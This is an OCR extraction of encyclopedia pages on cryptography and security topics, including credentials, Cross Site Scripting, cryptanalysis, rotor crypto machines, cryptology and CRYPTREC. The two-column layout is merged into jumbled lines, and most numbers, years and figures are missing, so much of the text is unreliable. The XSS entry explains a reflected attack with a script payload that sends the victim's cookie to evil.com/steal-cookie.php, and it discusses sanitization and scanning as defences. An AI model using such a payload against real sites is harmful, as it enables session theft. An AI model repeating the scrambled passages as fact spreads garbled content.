Camenisch and Lysyanskaya [] have proposed a per- credentials is hard to compensate for. Nontransferability
sonal credential scheme which enforces nontransferability can be achieved in a strict sense only by relying on tamper
by deterring individuals who are willing to transfer, pool, resistant biometric verification technology, regardless if it
or share their credentials. Individuals must either transfer is an online or offline scheme. Nontransferability can be
all their credentials or none (all-or-nothing nontransferabil- approximated by deterrence mechanisms integrated into
ity). They argue that even collaborating attackers would the personal credential schemes, but it remains to be ana-
refrain from granting each other access to their credit card lyzed for each particular application how effective those
accounts, when they are collaborating only to share, for deterrence mechanisms can be.
example, a drivers license. Obviously, this deterrence from
not transferring credentials is quickly neutralized if two Applications
or more participants mutually transfer credentials to each Consumable credentials are a useful primitive to design
other. If any of them misuses a credit card account of the privacy protecting electronic cash. Nontransferable cre-
other, he may experience the same kind of misuse with dentials are a useful primitive to design privacy protecting
Cross Site Scripting Attacks C
electronic drivers licenses, passports, and membership . Chaum D, Fiat A, Naor M () Untraceable electronic cash. In:
cards. The privacy of users is protected by credentials Goldwasser S (ed) Advances in cryptology: CRYPTO. Lecture
through their characteristic attribute of unlinkability,
. Chaum D, Pedersen T () Wallet databases with observers.
which enforces that users cannot be traced by the trail of In: Brickell EF (ed) Advances in cryptology: CRYPTO.
their transactions. Lecture notes in computer science, vol . Springer, Berlin,
pp
. Chen L () Access with pseudonyms. In: Dawson E, Golic J
Recommended Reading (eds) Cryptography: policy and algorithms. Lecture notes in C
. Bleumer G () Biometric yet privacy protecting person computer science, vol . Springer, Berlin, pp
authentication. In: Aucsmith D (ed) Information hiding. Lec- . Cramer R, Pedersen T () Improved privacy in wallets with
ture notes in computer science, vol . Springer, Berlin, observers (extended abstract). In: Helleseth T (ed) Advances
pp in cryptology: EUROCRYPT. Lecture notes in computer
. Brands S () Untraceable off-line cash in wallet with science, vol . Springer, Berlin, pp
observers. In: Stinson DR (ed) Advances in cryptology: . Damrd IB () Payment systems and credential mecha-
CRYPTO. Lecture notes in computer science, vol . nisms with provable security against abuse by individuals. In:
Springer, Berlin, pp Goldwasser S (ed) Advances in cryptology: CRYPTO. Lecture
. Brands S, Chaum D () Distance-bounding protocols. In: notes in computer science, vol . Springer, Berlin, pp
Helleseth T (ed) Advances in cryptology: EUROCRYPT. . Even S, Goldreich O, Yacobi Y () Electronic wallet. In:
Lecture notes in computer science, vol . Springer, Berlin, Chaum D (ed) Advances in cryptology: CRYPTO. Lecture
pp notes in computer science. Plenum, New York, pp
. Brickell E, Gemmell P, Kravitz D () Trustee-based tracing . Frankel Y, Tsiounis Y, Yung M () Indirect discourse proofs:
extensions to anonymous cash and the making of anonymous Achieving efficient fair off-line e-cash. In: Kim K, Matsumoto T
change. In: Sixth ACM-SIAM symposium on discrete algorithms (eds) Advances in cryptography: ASIACRYPT. Lecture notes
(SODA) . ACM, New York, pp in computer science, vol . Springer, Berlin, pp
. Camenisch J, Lysyanskaya A () Efficient non-transferable . Franklin M, Yung M () Secure and efficient off-line digital
anonymous multishow credential system with optional money. In: Lingas A, Karlsson RG, Carlsson S (eds) Twentieth
anonymity revocation. In: Pfitzmann B (ed) Advances in cryp- international colloquium on automata, languages and program-
tology: EUROCRYPT . Lecture notes in computer science, ming (ICALP). Lecture notes in computer science, vol .
vol . Springer, Berlin, pp Springer, Berlin, pp
. Camenisch J, Lysyanskaya A () Dynamic accumulators and . Lysyanskaya A, Rivest R, Sahai A, Wolf S () Pseudonym
application to efficient revocation of anonymous credentials. In: systems. In: Heys HM, Adams CM (eds) Selected areas in cryp-
Yung M (ed) Advances in cryptology: CRYPTO . Lecture tography. Lecture notes in computer science, vol . Springer,
notes in computer science, vol . Springer, Berlin, pp Berlin, pp
. Camenisch J, Maurer U, Stadler M () Digital payment . Naccache D, von Solms S () On blind signatures and perfect
systems with passive anonymity-revoking trustees. In: Lotz V crimes. Comput Secur ():
(ed) ESORICS. Lecture notes in computer science, vol . . Stadler M, Piveteau J-M, Camenisch J () Fair blind signa-
Springer, Berlin, pp tures. In: Guillou LC, Quisquater J-J (eds) Advances in cryp-
. Chaum D () Security without identification: Transac- tology: EUROCRYPT. Lecture notes in computer science,
tion systems to make Big Brother obsolete. Commun ACM vol . Springer, Berlin, pp
():
. Chaum D () Online cash checks. In: Quisquater J-J, Van-
dewalle J (eds) Advances in cryptology: EUROCRYPT. Lec-
pp Cross Site Scripting Attacks
. Chaum D () Showing credentials without identifica-
tion: Transferring signatures between unconditionally unlink-
able pseudonyms. In: Advances in cryptology: AUSCRYPT,
Engin Kirda
Sydney, Australia, January . Lecture notes in computer Institut Eurecom, Sophia Antipolis, France
. Chaum D () Achieving electronic privacy. Sci Am
():
Synonyms
. Chaum D, den Boer B, van Heyst E, Stig M, Steenbeek A () XSS
Efficient offline electronic checks. In: Quisquater J-J, Vande-
walle J (eds) Advances in cryptology: EUROCRYPT. Lecture Denition
notes in computer science, vol . Springer, Berlin, pp Cross-site Scripting (XSS) refers to a range of attacks in
. Chaum D, Evertse J-H (). A secure and privacy-protecting
which the attacker submits malicious HTML such as
protocol for transmitting personal information between orga-
nizations. In: Odlyzko A (ed) Advances in cryptology:
JavaScript to a dynamic Web application. When the vic-
CRYPTO. Lecture notes in computer science, vol . tim views the vulnerable Web page, the malicious content
Springer, Berlin, pp seems to come from the Web site itself and is trusted. As
C Cross Site Scripting Attacks
a result, the attacker can access and steal cookies, session </script>">
identifiers, and other sensitive information that the Web Click here to collect prize.
site has access to. </a>
When the user clicks on the link, an HTTP request is

Theory sent by the users browser to the trusted.com Web server,
The JavaScript language is widely used to enhance the requesting the page
client-side display of Web pages. JavaScript was devel-
oped by Netscape as a lightweight scripting language with <script>
object-oriented capabilities and was later standardized document.location=
by the European Computer Manufacturers Association http://evil.com/steal-cookie.php?
(ECMA). Usually, JavaScript code is downloaded into +document.cookie
browsers and executed on the fly by an embedded inter- </script>
preter. However, JavaScript code that is automatically exe-
The trusted.com Web server receives the request and
cuted may represent a possible vector for attacks against a
checks if it has the resource that is being requested. When
users environment.
the trusted.com host does not find the requested page, it
Secure execution of JavaScript code is based on a
will return an error message. The Web server may also
sandboxing mechanism, which allows the code to per-
decide to include the requested file name in the return mes-
form a restricted set of operations only. That is, JavaScript
sage to specify which file was not found. If this is the case,
programs are treated as untrusted software components
the file name (which is actually a script) will be sent from
that have only access to a limited number of resources
the trusted.com Web server to the users browser and will be
within the browser. Also, JavaScript programs downloaded
executed in the context of the trusted.com origin. When the
from different sites are protected from each other using
script is executed, the cookie set by trusted.com will be sent
a compartmentalizing mechanism, called the same-origin
to the malicious Web site as a parameter to the invocation
policy. This limits a program to only access resources asso-
of the steal-cookie.php server-side script. The cookie will
ciated with its origin site. Even though JavaScript inter-
be saved and can later be used by the owner of the evil.com
preters had a number of flaws in the past, nowadays most
site to impersonate the unsuspecting user with respect to
Web sites take advantage of JavaScript functionality.
trusted.com.
The problem with the current JavaScript security
The example given illustrates that it is possible to com-
mechanisms is that scripts may be confined by the sand-
promise the security of a users environment even though
boxing mechanisms and conform to the same-origin pol-
neither the sandboxing nor the same-origin policy were
icy, but still violate the security of a system. This can be
violated.
achieved when a user is lured into downloading malicious
Two main classes of XSS attacks exist: stored attacks
JavaScript code (previously created by an attacker) from a
and reflected attacks. In a stored XSS attack, the malicious
trusted Web site. Such an exploitation technique is called
JavaScript code is permanently stored on the target server
an XSS attack [, ].
(in a database, in a message forum, in a guestbook, etc.).
For example, consider the case of a user who accesses
In a reflected XSS attack, on the other hand, the injected
the popular trusted.com Web site to perform sensitive
code is reflected on the Web server as in an error mes-
operations (e.g., online banking). The Web-based appli-
sage or a search result that may include some or all of the
cation on trusted.com uses a cookie to store sensitive ses-
input sent to the server as part of the request. Reflected XSS
sion information in the users browser. Note that, because
attacks are delivered to the victims via e-mail messages or
of the same-origin policy, this cookie is accessible only
links embedded on other Web pages. When a user clicks
to JavaScript code downloaded from a trusted.com web
on a malicious link or submits a specially crafted form,
server. However, the user may also be browsing a malicious
the injected code travels to the vulnerable Web application,
Web site, say evil.com, and could be tricked into clicking on
and is reflected back to the victims browser.
the following link:
The first line of defense against XSS is the sanitization
<a href="http://trusted.com/ of the input and the output. The goal is to filter mali-
<script> cious content by checking for, and then escaping or disal-
document.location= lowing, JavaScript-specific substrings in the user-provided
http://evil.com/steal-cookie.php? content. Note that sanitization can prove to be very diffi-
+document.cookie cult. The trend toward more powerful, more interactive,
Cryptanalysis C
and therefore more complex Web applications also means where is a complex q-th root of unity. Note that in the
an increase in the effort and complexity of avoiding XSS special case of binary sequences, then q = and = .
vulnerabilities []. From the attackers point of view, it is In the special case when the two sequences are the
enough to discover a single XSS vulnerability to be able same, the cross-correlation is the same as the auto-
to control the content a site serves. Unfortunately, for the correlation.
developer, finding and patching every single vulnerability
may cause significantly more effort. Applications
In order to spot XSS vulnerabilities in Web appli- Many applications in stream ciphers and communica- C
cations, a number of automatic testing tools have been tion systems require large families of cyclically distinct
proposed. Black-box Web application testing tools (e.g., sequences with a low maximal nontrivial value of the auto-
Burpsuite, Waf, Acunetix, Secubat) as well as white-box and cross-correlation between any two sequences in the
vulnerability scanners (e.g., Pixy) have been suggested in family.
previous research, and are successfully used in practice
[]. While such tools can greatly help in identifying XSS Recommended Reading
vulnerabilities, unfortunately, it is likely that some remain . Golomb SW () Shift register sequences. Holden-Day series
undetected. Aegean Park Press, Laguna Hills,
Recommended Reading for wireless communication, cryptography, and radar. Cambridge
. CERT. Advisory CA--: malicious HTML tags embed- University Press, Cambridge
ded in client web requests. http://www.cert.org/advisories/ . Helleseth T, Vijay Kumar P () Sequences with low correla-
CA--.html tion. In Pless VS, Huffman WC (eds) Handbook in coding theory,
. CERT. Understanding malicious content mitigation for web vol II. Elsevier, Amsterdam, pp
developers http://www.cert.org/tech_tips/malicious_code_ . Helleseth T, Vijay Kumar P () Pseudonoise sequences. In
mitigation.html Gibson JD (ed) The communications handbook, nd edn. CRC
. Endler D. The evolution of cross site scripting attacks. Technical Press, London, pp
report, iDEFENSE Labs
. Jovanovic N, Kruegel C, Kirda E () Pixy: a static analy-
sis tool for detecting Web application vulnerabilities. In IEEE
Symposium on Security and Privacy, Berkeley, California
CRT
Chinese Remainder Theorem
Cross-Correlation
Tor Helleseth Cryptanalysis
The Selmer Center, Department of Informatics,
University of Bergen, Bergen, Norway Friedrich L. Bauer
Related Concepts
Autocorrelation; Cross-Correlation; Maximal-Length Related Concepts
Linear Sequences; Modular Arithmetic; Sequences; CRYPTREC (Japanese Cryptographic Algorithm Evalu-
Stream Cipher ation Project); Shannons Mode; Symmetric Cryptosys-
tem
Denition
Let {at } and {bt } be two sequences of period n (so Denition
at = at+n and bt = bt+n for all values of t) over an alpha- Cryptanalysis is the discipline of deciphering a cipher-
bet being the integers mod q (Modular Arithmetic). The text without having access to the keytext (Cryptosystem),
cross-correlation between the sequences {at } and {bt } at usually by recovering more or less directly the plaintext or
shift is defined as even the keytext used, in cases favorable for the attacker
by reconstructing the whole cryptosystem used. This being
n the worst case possible for the attacked side, an accept-
a t+ b t
C() =
t=
able level of security should rest completely in the key
C Cryptanalysis
(Kerckhoffs and Shannons Maximes). A systematic and Further commonly used terminology will be given
exact reconstruction of the encryption method and the now. In a ciphertext-only attack, only one or more cipher-
key used (Hans Rohrbach, ) is mandatory if correct- texts under the same keytext are known. In a known-
ness of a cryptanalytic break is to be proved, e.g., when a plaintext attack, one knows one or more matching pairs
cryptanalyst is a witness to the prosecution. of plaintextciphertext. Frequently, this attack is carried
out with rather short fragments of the plaintext (e.g., prob-
Applications able words and phrases). In a chosen plaintext attack,
Cryptanalysis can be passive, which is the classical case of one can choose plaintexts and obtain the corresponding
intercepting the message without giving any hint that this ciphertexts. Sometimes, this can be done with the proviso
was done, or active, which consists of altering the message that the plaintexts may be chosen in a way that depends
or retransmitting it at a later time, or even of inserting own on the previous encryption outcomes. How to foist the
messages (some of these actions may be detected by the plaintext on the adversary is not a cryptographers prob-
recipient). lem, but is a problem of misleading the adversary and is to
A compromise is the loss (or partial loss) of secrecy of be executed by the secret services. Finally, in a chosen-
the key by its exposure due to cryptographic faults. Various ciphertext attack there is the possibility to choose different
kinds of key compromises can be described as following: ciphertexts to be decrypted, with the cryptanalyst having
A plaintextciphertext compromise is caused by a trans- access to the decrypted plaintext. An example may be the
mission of a message in ciphertext followed (e.g., because investigation of a tamperproof decryption box, with the
the transmission was garbled) by transmission of the same hope of finding the key.
message in plaintext. If information on the encryption
method is known or can be guessed, this results in expo- Statistical Approaches to Classical
sure of the key. This attack may be successful for a plaintext Cryptosystems
of several hundred characters. Some statistical methods that can be used by the cryptanal-
A plaintextplaintext compromise is a transmission of ist are discussed below.
two isologs, i.e., two different plaintexts, encrypted with Frequency matching is a cryptanalytic method for
the same keytext. If the encryption method is such that breaking monoalphabetic (Csar type) encryptions. One
the encryption steps form a group (Key Group and pure determines the frequency of the characters in a ciphertext
Crypto-system), then a difference p p of two plain- and compares them with the frequency of the characters in
texts p , p and a difference c c of two plaintexts a language known or assumed to be used for the plaintext.
c , c may be defined and the role of the keytext is can- To give an example, the frequency profile of the English
celled out: c c = p p . Thus, under suitable guesses language looks like the one depicted in Fig. .
on the plaintext language involved, e.g., on probable words If a ciphertext of characters has the following
and phrases, a zig-zag method (see below), decomposing distribution given in Fig. .
c c , gives the plaintexts and then also the keytext. This It is easy to guess a Csar encryption that counts
compromise is not uncommon in the case of a shortage of down three letters in the standard alphabet: a = D, b = E,
keying material. It is even systemic if a periodic key is used. c = F, . . ., z = C. More difficult is the situation if a mixed
A ciphertextciphertext compromise is a transmission alphabet is to be expected. Then the first step is to group
of two isomorphs, i.e., the same plaintext, encrypted with the letters in cliques: the most frequent ones, the very rare
two different keytexts. Exchanging the role of plaintext ones, and some in between
and keytext, this case is reduced to and can be treated
as a plaintextplaintext compromise. This compromise is
even systematic in message sets, where the same message
{etaoin} {srh} {ld} {cumfpgwyb} {vk} {xjqz}
is sent in different encryption to many places, such as it is
common in public key cryptosystems.
One speaks of a brute force attack or exhaustive key
search if all possible keytexts are tried out to decrypt a and to refine the decryption within these cliques by trial
ciphertext (knowing or guessing the cryptosystem used). and error.
At present, with the still growing speed of supercomput- Depth is a notion used in connection with the
ers, every years the number of trial and error steps that cryptanalysis of polyalphabetic encryptions. It means
is feasible is increased by a factor of roughly . the arrangement of a number of ciphertexts supposedly
Cryptanalysis C
a b c d e f g h i j k l mn o p q r s t u v w x y z C
Cryptanalysis. Fig.
1 0 5 36 9 10 9 54 9 10 21 23 1 8 8 10 41 3 4 0 19 22 24 18 0 4
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Cryptanalysis. Fig.
encrypted with the same keytext for periodic polyalpha- When the alphabets used in a polyalphabetic periodic
betic encryption broken down according to the assumed substitution are a mixed alphabet and a shifted version of
period. it, symmetry of position is the property that for any pair of
Example (see Table ): a depth of five lines: letters their distance is the same in all rows of the encryp-
The lines of a depth are isologs: they are encrypted tion table. For a known period, it may allow, after forming
with the same key text and represent a plaintextplaintext a depth, the complete reconstruction of the substitution
compromise. (Auguste Kerckhoffs, ).
By forming differences of the elements in selected Kasiskis method: If in a periodic polyalphabetic
columns, a reduction of depth to a monoalphabetic (Csar encryption the same plaintext sequence of characters hap-
type) encryption is accomplished. This makes it possible to pens to be encrypted with the same sequence of key char-
derive the keytext acters, the same ciphertext sequence of characters will
occur. Thus, in order to determine the period of a peri-
odic polyalphabetic encryption, the distance between two
TRUTH ISSOP RECIO USTHA TITNE EDSAR parallels in the ciphertext (pairs, triples, quadruples, etc.
of characters) is to be determined; the distance of gen-
uine parallels will be a multiple of the period. The greatest
which decrypts the depth (by means of the Vigenre common divisor of these distances is certainly a period
Table) to the text in Table . it may, however, not be the smallest period. Moreover,
Forming a depth is possible as soon as the value of the the period analysis may be disturbed by faked parallels.
period of the periodic polyalphabetic encryption has been Kasiski developed this fundamental test for key periodicity
found, for instance by the Kasiski method below. Forming in and shattered the widespread belief that periodic
a depth is not possible, if the key is nonperiodic. But even polyalphabetic encryption is unbreakable.
for periodic polyalphabetic encryptions, forming a depth The Kappa test is based on the relative frequency
of sufficiently many elements (usually more than six) is not (T, T ) of pairs of text segments T = (t , t , t , . . . , tM ),
possible if the keytext is short enough. T = (t , t , t , . . . , tM ) of equal length, M , with
C Cryptanalysis
Cryptanalysis. Table
T C C V L E S K P T X M P V W H Y M V G X B O R V C W A R F
V L L B V C K W F P E H E C F C G N Z E K K K V I H D D I D
M Y Y R D M J W M C U I G L O K M X L R E W H X M T J H A S
B K Q T Z B Z W K W Z X G Z O V T B A T K W M G M R J K L P
M Y Y V H B W J D X C P C Z O H V T S I V M E B S O H R A U.
Cryptanalysis. Table
a l i c e w a s b e g i n n i n g t o g e t v e r y t i r e
c u r i o u s e r a n d c u r i o u s e r c r i e d a l i c
t h e y w e r e i n d e e d a q u e e r l o o k i n g p a r
i t w a s t h e w h i t e r a b b i t t r o t t i n g s l o
t h e c a t e r p i l l a r a n d a l i c e l o o k e d a t.
the same characters at the same positions (that is why The De Viaris attack is a cryptanalytic method invented
this method is also called the index of coincidence, often by Gatan Henri Lon de Viaris in to defeat a
abbreviated to I.C., William F. Friedman, ). The value polyalphabetic cryptosystem proposed by tienne Baz-
of Kappa is rather typical for natural languages, since the eries, in which the alphabets did not form a Latin square.
N (A Latin square for a vocabulary of N characters is a N N
expected value of (T, T ) is pi , where pi is the proba-
i= matrix over this alphabet such that each character occurs
bility of occurrence of the ith character of the vocabulary just once in every line and in every column.)
to which T and T belong. For sufficiently long texts, it is Pattern finding is a cryptanalytic method that can be
statistically roughly equal to / = .% for the English applied to monoalphabetic encryptions. It makes use of
language and /. = % for the French and the German patterns of repeated symbols. For example, the pattern
language. Most importantly, it remains invariant if the two with signature + + + (four twos,
texts are polyalphabetically encrypted with the same key- three ones, two threes, and one four) most likely allows
text. If, however, they are encrypted with different keytexts in English nothing but peppertree, the pattern
or with the same key sequence, but with different start- with the signature + + + + nothing but initiation
ing positions, the character coincidence is rather random (Andree , based on Merriam-Websters Dictionary).
and the value of Kappa is statistically close to /N, where Noncoincidence exhaustion: Some cryptosystems show
N is the size of the vocabulary. The Kappa test applied to peculiarities: genuine self-reciprocal permutations never
a ciphertext C and cyclically shifted versions C(u) of the encrypt a letter by itself. Porta encryptions even always
ciphertext, where u denotes the number of shifts, yields encrypt a letter from the first half of the alphabet by a let-
the value (C, C(u) ). If the keytext is periodic with period ter from the second half of the alphabet and vice versa.
d, then for u = d and for all multiples of d, a value sig- Such properties may serve to exclude many positions of a
nificantly higher than /N will occur, while in all other probable word (a probable word is a word or phrase that
cases a value close to /N will be found. This is the use of can be expected to be present in a message according to
the Kappa examination for finding the period; it turned the context; it may form the basis for a known-plaintext
out to be a more accurate instrument than the Kasiski attack).
method. Zig-zag exhaustion: For encryptions with a key group
The Kappa test may also be used for adjusting two (Key), the difference of two plaintexts is invariant under
ciphertexts C, C which are presumably encrypted with the encryption: it equals the difference of the corresponding
same keytext, but with different starting positions (called ciphertexts. Thus in case of a plaintextplaintext compro-
superimposition). By calculating (C(u) , C ), a shift d, mise (with a depth of ), the difference of the ciphertexts
determined as a value of u, for which (C(u) , C ) is high, can be decomposed into two plaintexts by starting with
brings the two ciphertexts C(d) and C in phase, i.e., pro- probable words or phrases in one of the plaintexts and
duces two isologs. In this way, a depth of n texts can be determining the corresponding plaintext fragment in the
formed by superimposition from a ciphertextciphertext other plaintext, and vice versa. This may lead in a zig-zag
compromise of n ciphertexts. way (cross-ruff ) to complete decryption.
Crypto Machines C
Theoretically, the decomposition is unique provided The key sequence was generated by the cyclometric,
the sum of the relative redundancies of the two texts is counter-like movement of the wheels. The fixed substitu-
at least %. For the English language, the redundancy tions of the rotors were to be kept secret, the starting point
(Information Theory) is about . [bit/char] or .% of of the key sequence was to be changed at short intervals.
the value . log [bit/char]. Later improvements were a reflector (Willi Korn, )
Multiple anagramming is one of the very few general which made the encryption self-reciprocal (and opened a
methods for dealing with transposition ciphers, requiring way of attack) and (by request from the German Armed
nothing more than two plaintexts of the same length that Forces Staff) a plugboard performing a substitution that
C
have been encrypted with the same encryption step (so could be changed at short intervals (which in fact helped
the encrypting transposition steps have been repeated at to avoid certain manifest attacks). The German Wehrmacht
least once). Such a plaintextplaintext compromise sug- Enigma had three rotors (to be selected out of up to eight)
gests a parallel to Kerchkoffs method of superimposition. and a reflector (to be selected out of two). In the Navy vari-
The method is based on the simple fact that equal encryp- ant of , the reflector was not fixed. Certain weaknesses
tion steps perform the same permutation of the plaintext of the Enigma encryption were not caused by the machine
letters. The ciphertexts are therefore written one below the itself, but by cryptographic blunders in operating it.
other and the columns thus formed are kept together. An exceptional role was played by the German Abwehr,
the Intelligence Service of the German Armed Forces, as
Recommended Reading far as ENIGMA goes: It used a variant of the old ENIGMA
. Bauer FL () Decrypted secrets. In: Methods and maxims of D with a pinion/tooth wheel movement of the rotors, with
, , and notches on the wheels (-- ENIGMA),
and naturally without plugboard following rather closely
Willi Korns German Patent No. , filed November ,
, US Patent No. ,, of .
Crypto Machines A few specimens of a three-rotor-ENIGMA (ENIGMA
T), likewise without plugboard, but with five-notched
Friedrich L.Bauer rotors, were destined for the Japanese Navy, but did not
Kottgeisering, Germany get out of the harbor and were captured by the Allies near
Lorient, in Brittany.
Related Concepts In England, too, rotor machines were built during
Encryption; Symmetric Cryptosystem the Second World War: TYPEX was quite an improved
ENIGMA (instead of the plugboard there was an entrance
Denition substitution performed by two fixed rotors which was not
Crypto machines are machines for automatic encryption self-reciprocal).
using a composition of mixed alphabet substitutions In the USA, under the early influence of
often performed by means of rotors. Some of the examples William Friedman () and on the basis of the
are Enigma (Germany), Hebern Electric Code Machine Hebern development, there was in the early s a more
(USA), Typex (Great Britain), SIGABA = M--C (USA), independent line of rotor machines, leading in to the
and NEMA (Switzerland). M--T, then to the M--A (SIGMYC), and in to
the M--C (SIGABA) of the Army, named CSP (ECM
Applications Mark II) by the Navy. The Germans obviously did not suc-
Rotor: Rotor is a wheel, sitting on an axle and having on ceed in breaking SIGABA, which had five turning cipher
both sides a ring of contacts that are internally wired in rotors with irregular movement. It had been made water-
such a way that they implement a permutation. tight by Frank Rowlett (), an aide of Friedman
The Enigma machine (Figs. and ) was invented by since .
the German Arthur Scherbius. In , he filed a patent An interesting postwar variant of the ENIGMA with
application for an automatic, keyboard-operated electric seven rotors and a fixed reflector was built and marketed
encryption machine performing a composition of a fixed by the Italian company Ottico Meccanica Italiana (OMI)
number of polyalphabetic substitution (Substitutions and in Rome.
Permutations) steps (four in the early commercial models) The Swiss army and diplomacy used from on an
with shifted mixed alphabets performed by wired keying ENIGMA variant called NEMA (Neue Maschine) Mod-
wheels (called rotors). ell . It was developed by Hugo Hadwiger (),
C Crypto Machines
e E
m
M
+4 V
Crypto Machines. Fig. Electric current through a three-rotor Enigma
Crypto Machines. Fig. Cipher machine Enigma (four-rotor

version)
Crypto Machines. Fig. The M- Hagelin machine
Heinrich Weber (), and Paul Glur, and built by

Zellweger A.G., Uster. It had ten rotors, six of which were
active ones, while the others served for rotor movement
only. The use of a reflector was unchanged. adder a Beaufort substitution (Beaufort Encryption)
Based on US-American experiences and similar to controlled by five keying wheels with , , , , and
TYPEX was the rotor machine KL- of the NATO, in use teeth according to a pre-chosen step figure. The lug
until the s. matrix and the step figure can be changed by activating
The Swedish inventor Boris Hagelin created the suitable pins. This model, called C-, was followed by a
Hagelin machine (Fig. ) in . It was an automatic C-, with six keying wheels and , , , , , and
mechanical encryption machine, with alphabet-wheel teeth. Under the cover name M-, C- was built
input and a printing device, performing by a lug cage by Smith-Corona for the US Army, Navy and Air Forces,
Cryptology C
altogether accounting for , machines. The Hagelin or confidentiality: the practice of keeping secrets, main-
machines were less secure than the Enigma. taining privacy, or concealing valuables. A further goal
of cryptology is integrity and authenticity, usually given
Recommended Reading by a message authentication code (MAC Algorithms) or
. Bauer FL () Decrypted secrets. In: Methods and maxims of digital signature unique to the sender and serving for his
cryptology. Springer, Berlin identification.
Cryptography: Cryptography is the discipline of writ-
ing a message in ciphertext (Cryptosystem), usually
C
by a translation from plaintext according to some (fre-
Cryptographic Algorithm quently changing) keytext, with the aim of protecting a
Evaluation secret from adversaries, interceptors, intruders, interlop-
ers, eavesdroppers, opponents or simply attackers, oppo-
CRYPTREC (Japanese Cryptographic Algorithm Evalu-
nents, and enemies. Professional cryptography protects
ation Project) not only the plaintext, but also the key and more generally
tries to protect the whole cryptosystem.
Steganography: Steganography is the counterpart of
Cryptographic Protocol cryptography, comprising technical steganography (work-
ing with invisible inks, hollow heels, etc.) and linguistic
Protocol steganography, the art of hiding information by linguis-
tic means. Of the later, we mention semagrams, open
code, comprising jargon code (masked secret writing, e.g.,
cues), and concealment ciphers (veiled secret writings,
Cryptographic Protocol like the null cipher and grilles [Substitutions and Per-
Verication mutations]). Linguistic steganography has close connec-
tions with cryptography, e.g., the uses of grilles and trans-
Formal Analysis of Cryptographic Protocols
position ciphers (Substitutions and Permutations) are
related.
Semagram: Semagram is a picture or grapheme hid-
Cryptographic Puzzles ing a message behind innocent looking, frequently minute
graphic details (Fig. ).
Computational Puzzles Open code: It is a class of linguistic steganography,
selected words or phrases made to appear innocent in the
surrounding text.
Cue: It is a short, prearranged jargon-code message,
Cryptography on Recongurable usually a word or phrase. The importance of the message is
Devices strongly linked to the time of transmission. Famous is the
encrypted Japanese message higashi no kaze ame (east
FPGAs in Cryptography wind, rain) on December , , a cue with the meaning
war with the USA.
Null cipher, where only certain letters are significant
Cryptology (the others being nulls):
Encryption rules of the type the nth character after

Friedrich L. Bauer
a particular character, specifically the next character
after a space (acrostics).
Or rules for inserting a null between syllables (Tut
Related Concepts Latin: tut) or after phonetic consonants (Javanais:
Shannons Model; Symmetric Cryptosystem chaussure CHAVAUSSAVURAVE).
Or rules for suffixing nulls, e.g., un fou UNDREQUE
Denition FOUDREQUE (Metz, ), also combined with
Cryptology is the discipline of cryptography and shuffling of some letters (largonjem: boucher
cryptanalysis and of their interaction. Its aim is secrecy LOUCHERBEM, pig Latin: third IRDTHAY).
C Cryptophthora
Cryptology. Fig. Semagram. The message is in Morse code, formed by the short and long stalks of grass to the left of the bridge,
along the river bank and on the garden wall. It reads: compliments of CPSA MA to our chief Col. Harold R. Shaw on his visit to San
Antonio May , . (Shaw had been head of the Technical Operations Division of the US governments censorship
division since )
A borderline case is pure transposition: reversing can result from side-channel leakage, cryptanalytic dis-
letters of a word (back slang), e.g., tobacco closure of partial key information, or improper device
OCCABOT). operation.
Recommended Reading Open Problems

. Bauer FL () Decrypted secrets. In: Methods and maxims of
Devise sound theoretical models, find new causes and
cryptology. Springer, Berlin forms of Cryptophthora.
Recommended Reading
. Mangard S, Oswald E, Popp T () Power analysis attacks:
Cryptophthora revealing the secrets of smart cards (Advances in information
security), Springer
David Naccache
Dpartement dinformatique, Groupe de cryptographie,
Cryptosystem
Synonyms Friedrich L. Bauer

Side-channel leakage Kottgeisering, Germany
Related Concepts Related Concepts

Differential Power Attacks; Smart Card Shannons Model; Symmetric Cryptosystem
Denition Denition
The term cryptophthora (literally secret degradation) is A cryptosystem (or cipher system) is a system consisting
a generic term expressing secret entropy loss. Cryptophthora of an encryption algorithm, a decryption algorithm, and a
CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project) C
well-defined triple of text spaces: plaintexts, ciphertexts, and Denition

keytexts. CRYPTREC is the Japanese Cryptographic Algorithm
Evaluation Project.
Applications
For a given key text, the encryption algorithm will map Background
a plaintext to a (usually uniquely determined) ciphertext. In , Japanese Cabinet announced that the Japanese
For the corresponding keytext, the decryption algorithm e-Government systems would be established until .
will map the ciphertext to the (usually uniquely deter- Therefore, the Japanese government organized CRYP-
C
mined) plaintext. The cryptosystem may be performed TREC in , in order to evaluate the cryptographic
by hand methods (hand cipher), machine methods algorithm for using in Japanese e-Government system.
(machine cipher), or software (Shannons Model).
Plaintext: It is a text in an open language that is com- Applications
monly understood among a larger group of people. Japanese e-Government system
Ciphertext: It is a text (cryptogram) in a secret lan-
guage that is understood only by few, authorized people, Overview
usually after decryption by hand machine, or software. CRYPTREC (Cryptography Research and Evaluation
Two special properties are mentioned: an endomor- Committee) was originally functioned as CRYPTREC
phic cryptosystem is a cryptosystem with identical plaintext Advisory Committee and Cryptography Research and
and ciphertext space. Example: {a, b, c, . . . , z} {a, b, c, Evaluation Committee []. Thereafter, CRYPTREC is
. . . , z}. A pure cryptosystem is a cryptosystem that has the representing the security evaluation project for the cryp-
following property: whenever enciphering Ek with key k, tographic algorithms in Japan as well. CRYPTREC was
followed by deciphering Dj with key j, followed by enci- initially founded in . The major roles/responsibilities
phering Ei with key i is performed, there is a key such for the CRYPTREC were to evaluate the security pro-
that E has the same effect: Ei Dj Ek = E . In a pure cryp- vided by cryptographic algorithms which would be used by
tosystem, the mappings Dj Ek (Ek followed by Dj )/ form Japanese e-Government. Since the Japanese Government
a group, with Dk Ek being the identity. targeted to construct the e-Government system by the end
An endomorphic cryptosystem is pure if and only if its of , however, the necessity of ensuring information
encipherings are closed under composition (Shannon), i.e., security in the e-Government system was its major con-
if its keys form a group, the key group (key). cern. Accordingly, the Japanese Government needed such
mechanism which evaluates the security in cryptographic
Recommended Reading algorithm, the fundamental information technology of
. Bauer FL () Decrypted secrets. In: Methods and maxims of information security.
cryptology. Springer, Berlin CRYPTREC publicly offered such algorithms which
would suit for the use for the e-Government system
twice in the years of and , respectively, and
eventually, types of algorithms were proposed from
CRYPTREC (Japanese worldwide. Along with those algorithms proposed from
Cryptographic Algorithm worldwide and the cryptographic algorithms that
Evaluation Project) were widely used as defacto standard at the time of
, together, were evaluated for their security. As its
result, CRYPTREC they selected cryptographic algo-
Hideki Imai , Atsuhiro Yamagishi
rithms in March which were listed/publicized as
Chuo University, Bunkyo-ku, Tokyo, Japan
